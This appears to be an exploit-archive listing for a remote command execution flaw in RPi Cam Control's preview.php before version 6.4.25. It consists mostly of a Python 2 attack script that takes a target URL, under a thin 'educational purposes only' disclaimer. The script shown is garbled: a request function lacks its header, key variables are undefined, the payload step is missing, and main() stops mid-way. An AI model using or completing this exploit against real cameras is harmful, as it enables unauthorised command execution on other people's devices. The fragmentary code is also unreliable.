Exploits / Vulnerability Discovered : 2018-09-04 |
Type : webapps |
Platform : linux
This exploit / vulnerability Rpi cam control < 6.4.25 preview.php remote command execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python
import sys
import requests
import os
import re
import readline
def usage():
print "\nRPi Cam Web Interface Exploit\n"
print "Usage: %s http://host/path/to/preview.php \n" % sys.argv[0]
print "Options: "
print " -h, --help Show this help message and exit"
print ""
sys.exit(0)
try:
r = requests.post(url, headers=headers, data=data, verify=False)
if r.status_code == 200:
if len(r.content) > 0 and split in r.content:
return r.content.split(split)[0]
else:
return ""
else:
print "\n[*] Error: Received HTTP Status " + str(r.status_code) + "\n"
return ""
except requests.ConnectionError as e:
print "\n[*] Error: An error occurred while connecting to the host.\n"
exit(1)
except requests.exceptions.RequestException as e:
print "\n[*] Error: Something unexpected happened.\n"
print e
exit(1)
def main():
if len(sys.argv) < 2 or sys.argv[1] in ("-h", "--help"):
usage()